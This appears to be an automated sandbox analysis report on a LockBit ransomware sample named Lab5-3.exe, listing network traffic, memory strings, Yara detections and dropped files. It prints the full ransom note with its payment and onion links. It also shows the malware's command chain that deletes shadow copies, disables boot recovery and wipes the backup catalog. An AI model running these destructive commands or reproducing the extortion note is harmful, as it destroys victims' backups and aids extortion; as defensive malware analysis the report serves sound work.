Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=crNMT2weYCUheMV&MD=zS4FTzTb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.jqueryui.com/droppable/
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jquery.org/license
Source: Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueryui.com
Source: Lab5-3.exe	String found in binary or memory: http://lockbit-decryptor.top/?
Source: Lab5-3.exe, 0000001B.00000002.3768778326.0000000000AE0000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000002.3215191351.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr	String found in binary or memory: http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50
Source: Lab5-3.exe	String found in binary or memory: http://lockbitks2tvnmwk.onion/?
Source: Lab5-3.exe, 0000001B.00000002.3768778326.0000000000AE0000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000002.3215191351.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr	String found in binary or memory: http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Lab5-3.exe, 00000028.00000003.2636402904.000000001E109000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E0C9000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E1C9000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E189000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2591083584.000000001E109000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E089000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2636402904.000000001E149000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bohemiancoding.com/sketch
Source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp, MakeAccessible.api.lockbit.27.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zurb.com/playground/jquery-text-change-custom-event
Source: Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: Lab5-3.exe, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr, Restore-My-Files.txt56.27.dr	String found in binary or memory: https://bridges.torproject.org
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore/category/extensions
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en&category=theme81https://myactivity.google.com/myactivity/?u
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enShortcut
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherEnabled
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlList
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist
Source: wctF86A.tmp.lockbit.0.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: wctF86A.tmp.lockbit.0.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co
Source: wctF86A.tmp.lockbit.0.dr	String found in binary or memory: https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google.comGoogle
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chromebook?p=app_intent
Source: Lab5-3.exe, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr, Restore-My-Files.txt56.27.dr	String found in binary or memory: https://tb-manual.torproject.org/about
Source: Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/privacy/eula_text.htmlManaged
Source: Lab5-3.exe, 0000001B.00000003.2736606134.0000000007C31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/br/chrome/browser/
Source: Lab5-3.exe, 0000001B.00000003.2736606134.0000000007CB1000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 0000001B.00000003.2738995885.0000000007DB1000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 0000001B.00000003.2736606134.0000000007BB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/chrome/browser/
Source: Lab5-3.exe, 0000001B.00000003.2741937870.0000000007B31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/nl/chrome/browser/
Source: Lab5-3.exe, 0000001B.00000003.2741307384.0000000007AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/no/chrome/browser/
Source: Lab5-3.exe, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr, Restore-My-Files.txt56.27.dr	String found in binary or memory: https://www.torproject.org/

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 51267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51269
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51271

Source: unknown	HTTPS traffic detected: 23.202.106.101:443 -> 192.168.2.4:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.106.101:443 -> 192.168.2.4:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:51267 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\Restore-My-Files.txt

Dropped file: All your important files are encrypted!Any attempts to restore your files with the thrid-party software will be fatal for your files!RESTORE YOU DATA POSIBLE ONLY BUYING private key from us.There is only one way to get your files back:1) Through a standard browser(FireFox, Chrome, Edge, Opera)| 1. Open link http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50| 2. Follow the instructions on this page2) Through a Tor Browser - recommended| 1. Download Tor browser - https://www.torproject.org/ and install it.| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50 This link only works in Tor Browser! | 3. Follow the instructions on this page ### Attention! ### # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site # Do not rename encrypted files. # Do not try to decrypt using third party software, it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price(they add their fee to our). # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. # Tor Browser user manual https://tb-manual.torproject.org/about

Jump to dropped file

Yara detected Chaos Ransomware

Source: Yara match

File source: Process Memory Space: Lab5-3.exe PID: 9756, type: MEMORYSTR

Yara detected Conti ransomware

Source: Yara match

File source: Process Memory Space: Lab5-3.exe PID: 9756, type: MEMORYSTR

Yara detected LockBit ransomware

Source: Yara match	File source: Lab5-3.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 9836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 9756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 10188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 11204, type: MEMORYSTR

Yara detected RansomwareGeneric

Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 9836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 9756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 10188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 11204, type: MEMORYSTR

Yara detected TrojanRansom

Source: Yara match

File source: Process Memory Space: Lab5-3.exe PID: 11204, type: MEMORYSTR

Contains functionalty to change the wallpaper

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00411E40 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GdipCreateBitmapFromScan0,GdipGetImageGraphicsContext,GdipCreateStringFormat,GdipSetStringFormatAlign,GdipSetStringFormatLineAlign,GdipFillRectangle,GdipDeleteBrush,malloc,GdipDeleteBrush,wsprintfW,free,GdipDeleteBrush,GdipDeleteBrush,GdipDeleteBrush,GdipDeleteStringFormat,GdipDeleteFont,GdipDeleteGraphics,GdipDisposeImage,GetTempPathW,GetTempFileNameW,wsprintfW,GdipSaveImageToFile,RegOpenKeyA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,SystemParametersInfoW,		19_2_00411E40
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00411E40 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GdipCreateBitmapFromScan0,GdipGetImageGraphicsContext,GdipCreateStringFormat,GdipSetStringFormatAlign,GdipSetStringFormatLineAlign,GdipFillRectangle,GdipDeleteBrush,malloc,GdipDeleteBrush,wsprintfW,free,GdipDeleteBrush,GdipDeleteBrush,GdipDeleteBrush,GdipDeleteStringFormat,GdipDeleteFont,GdipDeleteGraphics,GdipDisposeImage,GetTempPathW,GetTempFileNameW,wsprintfW,GdipSaveImageToFile,RegOpenKeyA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,SystemParametersInfoW,		27_2_00411E40

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: Lab5-3.exe, 00000000.00000003.1920967616.000000000061C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Users\user\Desktop\cmd.exe/c vssadmin Delete Shadows /All /Quietcmd.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\j
Source: Lab5-3.exe, 00000000.00000003.1664312642.0000000002565000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\System32\cmd.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsU3f\X
Source: Lab5-3.exe, 00000000.00000003.1859691073.000000000062D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000000.00000003.1903327152.000000000061C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Users\user\Desktop\cmd.exe/c vssadmin Delete Shadows /All /Quietcmd.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common 